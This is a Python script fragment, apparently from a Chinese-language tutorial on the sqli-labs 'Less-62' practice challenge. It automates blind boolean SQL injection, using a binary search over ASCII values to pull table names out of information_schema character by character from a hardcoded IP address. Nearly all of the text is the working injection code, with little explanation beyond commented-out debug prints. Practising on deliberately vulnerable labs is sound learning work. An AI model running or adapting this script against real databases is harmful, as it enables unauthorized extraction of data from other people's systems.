    8. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    9. 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    10. 'Accept-Encoding': 'gzip, deflate'
    11. }
    12. #判断数值
    13. def confirm_num(mid,result,post,char):
    14. global count
    15. respon = request_url(post = post, char=char, mid=mid)
    16. if success_str in respon.read().decode('utf-8'):
    17. # print("触发后判断结果为等于mid,mid值为: "+str(mid))
    18. result = result + chr(mid)
    19. elif mid != high:
    20. # print("触发后判断结果为不等于mid,mid值为:"+str(mid)+" 等于high,high值为: "+str(high))
    21. result = result + chr(high)
    22. return result
    23. #发送url请求,char决定发送=/<=
    24. def request_url(post,char,mid):
    25. global count
    26. url = "http://47.93.51.165:10010/Less-62/?id=1%%27)and%%20ascii(substr((select%%20group_concat(table_name)%%20from%%20information_schema.tables%%20where%%20table_schema=%%27challenges%%27),%s,1))%s%s--+" %(post,char,mid)
    27. respon = urllib.request.urlopen(url=url)
    28. count = count + 1
    29. return respon
    30. if __name__ == '__main__':
    31. low = 48
    32. high = 122
    33. post = 1
    34. result = ''
    35. count = 0
    36. mid = (low + high)/2
    37. while low <= high:
    38. char = ">="
    39. respon = request_url(post,char,mid)
    40. if success_str in respon.read().decode('utf-8'):
    41. low = mid
    42. # print ("大等于中值 "+str(mid)+" 修改low:"+str(low))
    43. else:
    44. # print("小于中值"+str(mid)+"修改high")
    45. high = mid - 1
    46. # print("修改后high的值为"+str(high))
    47. mid = int((low + high)/2)
    48. # print("修改low/high后的mid的值为:"+str(mid)+" high的值为:"+str(high)+" low的值为"+str(low))
    49. if low == mid :
    50. # print("low == mid进入判断数值函数判断")
    51. char = "="
    52. result = confirm_num(mid=mid, result=result, post = post, char=char)
    53. print("结果为:" + result)
    54. print("--------------------------------------------分割线--------------------------------------------------------------------")
    55. low = 48
    56. high = 122
    57. post = post + 1
    58. print("发送请求数为: " + str(count))
    59. print("结果为:" + result)

    二分查找.xmind